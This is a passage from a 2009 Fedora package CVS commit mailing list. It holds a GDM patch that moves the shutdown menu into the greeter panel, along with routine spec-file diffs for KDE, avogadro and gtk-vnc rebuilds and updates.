+#ifdef HAVE_DEVICEKIT_POWER
+        gboolean ret;
+        DkpClient *dkp_client;
+        GError *error = NULL;
+
+        /* use DeviceKit-power to get data */
+        dkp_client = dkp_client_new ();
+        ret = dkp_client_suspend (dkp_client, &error);
+        if (!ret) {
+                g_warning ("Couldn't suspend: %s", error->message);
+                g_error_free (error);
+                return;
+        }
+        g_object_unref (dkp_client);
+#endif
+}
+
+static void
+do_system_restart (void)
+{
+        gboolean         res;
+        GError          *error;
+        DBusGConnection *connection;
+
+        error = NULL;
+        connection = dbus_g_bus_get (DBUS_BUS_SYSTEM, &error);
+        if (connection == NULL) {
+                g_warning ("Unable to get system bus connection: %s", error->message);
+                g_error_free (error);
+                return;
+        }
+
+        res = try_system_restart (connection, &error);
+        if (!res) {
+                g_debug ("GdmGreeterPanel: unable to restart system: %s: %s",
+                         dbus_g_error_get_name (error),
+                         error->message);
+                g_error_free (error);
+        }
+}
+
+static void
+do_system_stop (void)
+{
+        gboolean         res;
+        GError          *error;
+        DBusGConnection *connection;
+
+        error = NULL;
+        connection = dbus_g_bus_get (DBUS_BUS_SYSTEM, &error);
+        if (connection == NULL) {
+                g_warning ("Unable to get system bus connection: %s", error->message);
+                g_error_free (error);
+                return;
+        }
+
+        res = try_system_stop (connection, &error);
+        if (!res) {
+                g_debug ("GdmGreeterPanel: unable to stop system: %s: %s",
+                         dbus_g_error_get_name (error),
+                         error->message);
+                g_error_free (error);
+        }
+}
+
+static void
+do_disconnect (void)
+{
+        gtk_main_quit ();
+}
+
+static gboolean
+get_show_restart_buttons (GdmGreeterPanel *panel)
+{
+        gboolean     show;
+        GError      *error;
+
+        error = NULL;
+        show = ! gconf_client_get_bool (panel->priv->client, KEY_DISABLE_RESTART_BUTTONS, &error);
+        if (error != NULL) {
+                g_debug ("GdmGreeterPanel: unable to get disable-restart-buttons configuration: %s", error->message);
+                g_error_free (error);
+        }
+
+#ifdef ENABLE_RBAC_SHUTDOWN
+        {
+                char *username;
+
+                username = g_get_user_name ();
+                if (username == NULL || !chkauthattr (RBAC_SHUTDOWN_KEY, username)) {
+                        show = FALSE;
+                        g_debug ("GdmGreeterPanel: Not showing stop/restart buttons for user %s due to RBAC key %s",
+                                 username, RBAC_SHUTDOWN_KEY);
+                } else {
+                        g_debug ("GdmGreeterPanel: Showing stop/restart buttons for user %s due to RBAC key %s",
+                                 username, RBAC_SHUTDOWN_KEY);
+                }
+        }
+#endif
+        return show;
+}
+
+static void
+position_shutdown_menu (GtkMenu         *menu,
+                        int             *x,
+                        int             *y,
+                        gboolean        *push_in,
+                        GdmGreeterPanel *panel)
+{
+        GtkRequisition menu_requisition;
+
+        *push_in = TRUE;
+
+        *x = panel->priv->shutdown_button->allocation.x;
+        gtk_window_get_position (GTK_WINDOW (panel), NULL, y);
+
+        gtk_widget_size_request (GTK_WIDGET (menu), &menu_requisition);
+
+        *y -= menu_requisition.height;
+}
+
+static void
+on_shutdown_button_toggled (GdmGreeterPanel *panel)
+{
+        if (gtk_toggle_button_get_active (GTK_TOGGLE_BUTTON (panel->priv->shutdown_button))) {
+                gtk_menu_popup (GTK_MENU (panel->priv->shutdown_menu), NULL, NULL,
+                                (GtkMenuPositionFunc) position_shutdown_menu,
+                                panel, 0, 0);
+        } else {
+                gtk_menu_popdown (GTK_MENU (panel->priv->shutdown_menu));
+        }
+}
+
+static void
+on_shutdown_menu_deactivate (GdmGreeterPanel *panel)
+{
+        gtk_toggle_button_set_active (GTK_TOGGLE_BUTTON (panel->priv->shutdown_button),
+                                      FALSE);
+}
+
 static void
 gdm_greeter_panel_init (GdmGreeterPanel *panel)
 {
@@ -603,6 +859,8 @@ gdm_greeter_panel_init (GdmGreeterPanel 
         spacer = gtk_label_new ("");
         gtk_box_pack_start (GTK_BOX (panel->priv->option_hbox), spacer, TRUE, TRUE, 6);
         gtk_widget_show (spacer);
+    
+        panel->priv->client = gconf_client_get_default ();
 
         gdm_profile_start ("creating option widget");
         panel->priv->language_option_widget = gdm_language_option_widget_new ();
@@ -642,6 +900,51 @@ gdm_greeter_panel_init (GdmGreeterPanel 
                 gtk_widget_show (panel->priv->hostname_label);
         }
 
+        if (panel->priv->display_is_local || get_show_restart_buttons (panel)) {
+                GtkWidget *menu_item;
+                GtkWidget *image;
+
+                panel->priv->shutdown_button = gtk_toggle_button_new ();
+                gtk_button_set_relief (GTK_BUTTON (panel->priv->shutdown_button),
+                                       GTK_RELIEF_NONE);
+
+                panel->priv->shutdown_menu = gtk_menu_new ();
+                gtk_menu_attach_to_widget (GTK_MENU (panel->priv->shutdown_menu),
+                                           panel->priv->shutdown_button, NULL);
+                g_signal_connect_swapped (panel->priv->shutdown_button, "toggled",
+                                          G_CALLBACK (on_shutdown_button_toggled), panel);
+                g_signal_connect_swapped (panel->priv->shutdown_menu, "deactivate",
+                                          G_CALLBACK (on_shutdown_menu_deactivate), panel);
+
+                image = gtk_image_new_from_icon_name ("system-shutdown", GTK_ICON_SIZE_BUTTON);
+                gtk_widget_show (image);
+                gtk_container_add (GTK_CONTAINER (panel->priv->shutdown_button), image);
+
+                if (panel->priv->display_is_local) {
+                        menu_item = gtk_menu_item_new_with_label ("Disconnect");
+                        g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_disconnect), NULL);
+                        gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
+                } else {
+                        if (can_suspend ()) {
+                                menu_item = gtk_menu_item_new_with_label (_("Suspend"));
+                                g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_system_suspend), NULL);
+                                gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
+                        }
+
+                        menu_item = gtk_menu_item_new_with_label (_("Restart"));
+                        g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_system_restart), NULL);
+                        gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
+
+                        menu_item = gtk_menu_item_new_with_label (_("Shut Down"));
+                        g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_system_stop), NULL);
+                        gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
+                }
+
+                gtk_box_pack_end (GTK_BOX (panel->priv->hbox), GTK_WIDGET (panel->priv->shutdown_button), FALSE, FALSE, 0);
+                gtk_widget_show_all (panel->priv->shutdown_menu);
+                gtk_widget_show_all (GTK_WIDGET (panel->priv->shutdown_button));
+        }
+
         panel->priv->clock = gdm_clock_widget_new ();
         gtk_box_pack_end (GTK_BOX (panel->priv->hbox),
                             GTK_WIDGET (panel->priv->clock), FALSE, FALSE, 6);
@@ -651,7 +954,6 @@ gdm_greeter_panel_init (GdmGreeterPanel 
                                        GTK_ORIENTATION_HORIZONTAL);
         gtk_box_pack_end (GTK_BOX (panel->priv->hbox), GTK_WIDGET (tray), FALSE, FALSE, 6);
         gtk_widget_show (GTK_WIDGET (tray));
-
         gdm_greeter_panel_hide_user_options (panel);
 
         panel->priv->progress = 0.0;
@@ -684,13 +986,15 @@ gdm_greeter_panel_finalize (GObject *obj
 
 GtkWidget *
 gdm_greeter_panel_new (GdkScreen *screen,
-                       int        monitor)
+                       int        monitor,
+                       gboolean   is_local)
 {
         GObject *object;
 
         object = g_object_new (GDM_TYPE_GREETER_PANEL,
                                "screen", screen,
                                "monitor", monitor,
+                               "display-is-local", is_local,                               
                                NULL);
 
         return GTK_WIDGET (object);
diff -up gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.h.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.h
--- gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.h.move-shutdown-functions	2009-10-19 18:12:45.000000000 -0400
+++ gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.h	2009-10-20 18:10:14.330886648 -0400
@@ -60,7 +60,8 @@ typedef struct
 GType                  gdm_greeter_panel_get_type                       (void);
 
 GtkWidget            * gdm_greeter_panel_new                            (GdkScreen *screen,
-                                                                         int        monitor);
+                                                                         int        monitor,
+                                                                         gboolean   is_local);
 
 void                   gdm_greeter_panel_show_user_options              (GdmGreeterPanel *panel);
 void                   gdm_greeter_panel_hide_user_options              (GdmGreeterPanel *panel);
diff -up gdm-2.28.1/gui/simple-greeter/gdm-greeter-session.c.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/gdm-greeter-session.c
--- gdm-2.28.1/gui/simple-greeter/gdm-greeter-session.c.move-shutdown-functions	2009-10-20 18:10:14.231637268 -0400
+++ gdm-2.28.1/gui/simple-greeter/gdm-greeter-session.c	2009-10-20 18:10:14.332887524 -0400
@@ -369,13 +369,15 @@ toggle_panel (GdmGreeterSession *session
                 GdkScreen  *screen;
                 int         monitor;
                 int         x, y;
+                gboolean    is_local;
 
                 display = gdk_display_get_default ();
                 gdk_display_get_pointer (display, &screen, &x, &y, NULL);
 
                 monitor = get_tallest_monitor_at_point (screen, x, y);
 
-                session->priv->panel = gdm_greeter_panel_new (screen, monitor);
+                is_local = gdm_greeter_client_get_display_is_local (session->priv->client);
+                session->priv->panel = gdm_greeter_panel_new (screen, monitor, is_local);
 
                 g_signal_connect_swapped (session->priv->panel,
                                           "language-selected",
diff -up gdm-2.28.1/gui/simple-greeter/Makefile.am.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/Makefile.am
--- gdm-2.28.1/gui/simple-greeter/Makefile.am.move-shutdown-functions	2009-10-20 18:10:14.254638094 -0400
+++ gdm-2.28.1/gui/simple-greeter/Makefile.am	2009-10-20 18:10:14.319892618 -0400
@@ -103,7 +103,6 @@ test_greeter_login_window_LDADD =	\
 	libgdmuser.la			\
 	$(COMMON_LIBS)			\
 	$(SIMPLE_GREETER_LIBS)		\
-	$(DEVKIT_POWER_LIBS)		\
 	$(RBAC_LIBS)			\
 	$(NULL)
 
@@ -156,6 +155,7 @@ test_greeter_panel_LDADD =	\
 	$(GTK_LIBS)			\
 	$(GCONF_LIBS)			\
 	$(LIBXKLAVIER_LIBS)		\
+	$(DEVKIT_POWER_LIBS)		\
 	$(NULL)
 
 test_remote_login_window_SOURCES = 	\
diff -up gdm-2.28.1/gui/simple-greeter/test-greeter-panel.c.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/test-greeter-panel.c
--- gdm-2.28.1/gui/simple-greeter/test-greeter-panel.c.move-shutdown-functions	2009-10-19 18:12:45.000000000 -0400
+++ gdm-2.28.1/gui/simple-greeter/test-greeter-panel.c	2009-10-20 18:10:14.334888750 -0400
@@ -53,7 +53,7 @@ main (int argc, char *argv[])
         gdk_display_get_pointer (display, &screen, &x, &y, NULL);
         monitor = gdk_screen_get_monitor_at_point (screen, x, y);
 
-        panel = gdm_greeter_panel_new (screen, monitor);
+        panel = gdm_greeter_panel_new (screen, monitor, TRUE);
         gdm_greeter_panel_show_user_options (GDM_GREETER_PANEL (panel));
 
         gtk_widget_show (panel);


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.496
retrieving revision 1.497
diff -u -p -r1.496 -r1.497
--- gdm.spec	20 Oct 2009 12:09:53 -0000	1.496
+++ gdm.spec	20 Oct 2009 23:45:00 -0000	1.497
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -101,6 +101,7 @@ Patch3: gdm-2.23.92-save-root-window.pat
 Patch13: gdm-system-keyboard.patch
 
 Patch19: gdm-multistack.patch
+Patch20: gdm-2.28.1-move-shutdown-functions.patch
 
 # Fedora-specific
 Patch98: gdm-bubble-location.patch
@@ -146,6 +147,7 @@ The GDM fingerprint plugin provides func
 %patch13 -p1 -b .system-keyboard
 
 %patch19 -p1 -b .multistack
+%patch20 -p1 -b .move-shutdown-functions
 
 %patch98 -p1 -b .bubble-location
 %patch99 -p1 -b .fedora-logo
@@ -397,6 +399,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Tue Oct 20 2009 Ray Strode <rstrode at redhat.com> 2.28.1-2
+- Move shutdown functions to panel from login window
+
 * Tue Oct 20 2009 Ray Strode <rstrode at redhat.com> 2.28.1-1
 - Update to 2.28.1
 



From rdieter at fedoraproject.org  Wed Oct 21 00:04:07 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 21 Oct 2009 00:04:07 +0000 (UTC)
Subject: rpms/kdeedu/devel kdeedu.spec,1.210,1.211
Message-ID: <20091021000407.4136911C00EB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeedu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19317/devel

Modified Files:
	kdeedu.spec 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
- rebuild (eigen2)



Index: kdeedu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeedu/devel/kdeedu.spec,v
retrieving revision 1.210
retrieving revision 1.211
diff -u -p -r1.210 -r1.211
--- kdeedu.spec	5 Oct 2009 10:52:57 -0000	1.210
+++ kdeedu.spec	21 Oct 2009 00:04:05 -0000	1.211
@@ -7,7 +7,7 @@
 Name:    kdeedu
 Summary: Educational/Edutainment applications
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 License: GPLv2
 Group:	 Amusements/Games
@@ -487,6 +487,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
+- rebuild (eigen2)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From rdieter at fedoraproject.org  Wed Oct 21 00:04:07 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 21 Oct 2009 00:04:07 +0000 (UTC)
Subject: rpms/kdeedu/F-12 kdeedu.spec,1.210,1.211
Message-ID: <20091021000407.3D16711C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeedu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19317/F-12

Modified Files:
	kdeedu.spec 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
- rebuild (eigen2)



Index: kdeedu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeedu/F-12/kdeedu.spec,v
retrieving revision 1.210
retrieving revision 1.211
diff -u -p -r1.210 -r1.211
--- kdeedu.spec	7 Oct 2009 10:36:40 -0000	1.210
+++ kdeedu.spec	21 Oct 2009 00:04:06 -0000	1.211
@@ -7,7 +7,7 @@
 Name:    kdeedu
 Summary: Educational/Edutainment applications
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 License: GPLv2
 Group:	 Amusements/Games
@@ -487,6 +487,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
+- rebuild (eigen2)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From rdieter at fedoraproject.org  Wed Oct 21 00:05:15 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 21 Oct 2009 00:05:15 +0000 (UTC)
Subject: rpms/kdeartwork/devel kdeartwork.spec,1.118,1.119
Message-ID: <20091021000515.0EE1411C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeartwork/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20010/devel

Modified Files:
	kdeartwork.spec 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
- rebuild (eigen2)



Index: kdeartwork.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeartwork/devel/kdeartwork.spec,v
retrieving revision 1.118
retrieving revision 1.119
diff -u -p -r1.118 -r1.119
--- kdeartwork.spec	4 Oct 2009 09:52:34 -0000	1.118
+++ kdeartwork.spec	21 Oct 2009 00:05:14 -0000	1.119
@@ -1,6 +1,6 @@
 Name:           kdeartwork
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Additional artwork for KDE
 
 License:        GPLv2
@@ -212,6 +212,9 @@ fi
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
+- rebuild (eigen2)
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From rdieter at fedoraproject.org  Wed Oct 21 00:05:14 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 21 Oct 2009 00:05:14 +0000 (UTC)
Subject: rpms/kdeartwork/F-12 kdeartwork.spec,1.118,1.119
Message-ID: <20091021000514.B29A911C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeartwork/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20010/F-12

Modified Files:
	kdeartwork.spec 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
- rebuild (eigen2)



Index: kdeartwork.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeartwork/F-12/kdeartwork.spec,v
retrieving revision 1.118
retrieving revision 1.119
diff -u -p -r1.118 -r1.119
--- kdeartwork.spec	6 Oct 2009 12:47:04 -0000	1.118
+++ kdeartwork.spec	21 Oct 2009 00:05:14 -0000	1.119
@@ -1,6 +1,6 @@
 Name:           kdeartwork
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Additional artwork for KDE
 
 License:        GPLv2
@@ -212,6 +212,9 @@ fi
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
+- rebuild (eigen2)
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From rdieter at fedoraproject.org  Wed Oct 21 00:06:32 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 21 Oct 2009 00:06:32 +0000 (UTC)
Subject: rpms/kdeplasma-addons/devel kdeplasma-addons.spec,1.68,1.69
Message-ID: <20091021000632.3A28811C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeplasma-addons/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20447/devel

Modified Files:
	kdeplasma-addons.spec 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-4
- rebuild (eigen2)



Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/devel/kdeplasma-addons.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- kdeplasma-addons.spec	16 Oct 2009 13:36:39 -0000	1.68
+++ kdeplasma-addons.spec	21 Oct 2009 00:06:31 -0000	1.69
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.2
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -165,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-4
+- rebuild (eigen2)
+
 * Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
 - rev microblog/twitter patch (kde#200475#c36)
 



From rdieter at fedoraproject.org  Wed Oct 21 00:06:32 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 21 Oct 2009 00:06:32 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-12 kdeplasma-addons.spec,1.64,1.65
Message-ID: <20091021000632.6821F11C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeplasma-addons/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20447/F-12

Modified Files:
	kdeplasma-addons.spec 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-4
- rebuild (eigen2)



Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-12/kdeplasma-addons.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- kdeplasma-addons.spec	16 Oct 2009 13:36:38 -0000	1.64
+++ kdeplasma-addons.spec	21 Oct 2009 00:06:32 -0000	1.65
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.2
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -165,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-4
+- rebuild (eigen2)
+
 * Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
 - rev microblog/twitter patch (kde#200475#c36)
 



From rdieter at fedoraproject.org  Wed Oct 21 00:08:19 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 21 Oct 2009 00:08:19 +0000 (UTC)
Subject: rpms/avogadro/devel avogadro.spec,1.15,1.16
Message-ID: <20091021000820.06AD211C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/avogadro/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21127/devel

Modified Files:
	avogadro.spec 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 0.9.8-3 
- rebuild (eigen2)



Index: avogadro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/avogadro/devel/avogadro.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- avogadro.spec	26 Sep 2009 16:37:01 -0000	1.15
+++ avogadro.spec	21 Oct 2009 00:08:19 -0000	1.16
@@ -1,9 +1,9 @@
-%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
-%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
+%{!?python_sitelib:%global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?python_sitearch:%global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           avogadro
 Version:        0.9.8
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        An advanced molecular editor for chemical purposes
 
 Group:          Applications/Editors
@@ -105,6 +105,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 0.9.8-3 
+- rebuild (eigen2)
+
 * Sat Sep 26 2009 Sebastian Dziallas <sebastian at when.com> 0.9.8-2
 - fix typo in file list
 



From rdieter at fedoraproject.org  Wed Oct 21 00:08:20 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 21 Oct 2009 00:08:20 +0000 (UTC)
Subject: rpms/avogadro/F-12 avogadro.spec,1.15,1.16
Message-ID: <20091021000820.3359A11C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/avogadro/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21127/F-12

Modified Files:
	avogadro.spec 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 0.9.8-3 
- rebuild (eigen2)



Index: avogadro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/avogadro/F-12/avogadro.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- avogadro.spec	26 Sep 2009 16:37:01 -0000	1.15
+++ avogadro.spec	21 Oct 2009 00:08:20 -0000	1.16
@@ -1,9 +1,9 @@
-%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
-%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
+%{!?python_sitelib:%global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?python_sitearch:%global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           avogadro
 Version:        0.9.8
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        An advanced molecular editor for chemical purposes
 
 Group:          Applications/Editors
@@ -105,6 +105,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 0.9.8-3 
+- rebuild (eigen2)
+
 * Sat Sep 26 2009 Sebastian Dziallas <sebastian at when.com> 0.9.8-2
 - fix typo in file list
 



From mclasen at fedoraproject.org  Wed Oct 21 00:08:50 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 21 Oct 2009 00:08:50 +0000 (UTC)
Subject: rpms/gtk-vnc/F-12 .cvsignore, 1.11, 1.12 gtk-vnc.spec, 1.38,
	1.39 sources, 1.13, 1.14
Message-ID: <20091021000850.EC2A011C0081@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk-vnc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21243

Modified Files:
	.cvsignore gtk-vnc.spec sources 
Log Message:
0.3.10



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gtk-vnc/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	11 Aug 2009 13:49:34 -0000	1.11
+++ .cvsignore	21 Oct 2009 00:08:50 -0000	1.12
@@ -1,3 +1 @@
-.build*.log
-*.rpm
-gtk-vnc-0.3.9.tar.bz2
+gtk-vnc-0.3.10.tar.bz2


Index: gtk-vnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk-vnc/F-12/gtk-vnc.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- gtk-vnc.spec	8 Oct 2009 18:35:31 -0000	1.38
+++ gtk-vnc.spec	21 Oct 2009 00:08:50 -0000	1.39
@@ -6,8 +6,8 @@
 
 Summary: A GTK widget for VNC clients
 Name: gtk-vnc
-Version: 0.3.9
-Release: 2%{?dist}
+Version: 0.3.10
+Release: 1%{?dist}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://ftp.gnome.org/pub/GNOME/sources/%{name}/0.3/%{name}-%{version}.tar.bz2
@@ -125,6 +125,9 @@ rm -fr %{buildroot}
 %endif
 
 %changelog
+* Tue Oct 20 2009 Matthias Clasen <mclaesn at redhat.com> - 0.3.10-1
+- Update to 0.3.10
+
 * Thu Oct  8 2009 Matthias Clasen <mclaesn at redhat.com> - 0.3.9-2
 - Request a full screen refresh when receives a desktop-resize encoding
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gtk-vnc/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	11 Aug 2009 13:49:35 -0000	1.13
+++ sources	21 Oct 2009 00:08:50 -0000	1.14
@@ -1 +1 @@
-18cbf50b393fea57b691987e5ea62259  gtk-vnc-0.3.9.tar.bz2
+9aa9d830b219255c8d6753ef55802932  gtk-vnc-0.3.10.tar.bz2



From mclasen at fedoraproject.org  Wed Oct 21 00:16:34 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 21 Oct 2009 00:16:34 +0000 (UTC)
Subject: rpms/gtk-vnc/F-12 gtk-vnc.spec,1.39,1.40
Message-ID: <20091021001634.E5A6811C0081@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk-vnc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25711

Modified Files:
	gtk-vnc.spec 
Log Message:
drop obsolete patch



Index: gtk-vnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk-vnc/F-12/gtk-vnc.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- gtk-vnc.spec	21 Oct 2009 00:08:50 -0000	1.39
+++ gtk-vnc.spec	21 Oct 2009 00:16:34 -0000	1.40
@@ -12,9 +12,6 @@ License: LGPLv2+
 Group: Development/Libraries
 Source: http://ftp.gnome.org/pub/GNOME/sources/%{name}/0.3/%{name}-%{version}.tar.bz2
 
-# fixed upstream: https://bugzilla.gnome.org/show_bug.cgi?id=585571
-Patch0: gtk-vnc-resize-refresh.patch
-
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 URL: http://live.gnome.org/gtk-vnc
 BuildRequires: gtk2-devel pygtk2-devel python-devel zlib-devel
@@ -71,7 +68,6 @@ browsers.
 
 %prep
 %setup -q
-%patch0 -p1 -b .resize-refresh
 
 %build
 %if %{with_plugin}



From rdieter at fedoraproject.org  Wed Oct 21 00:36:26 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 21 Oct 2009 00:36:26 +0000 (UTC)
Subject: rpms/Macaulay2/F-12 Macaulay2.spec,1.56,1.57
Message-ID: <20091021003627.2B8F411C0081@cvs1.fedora.phx.redhat.com>

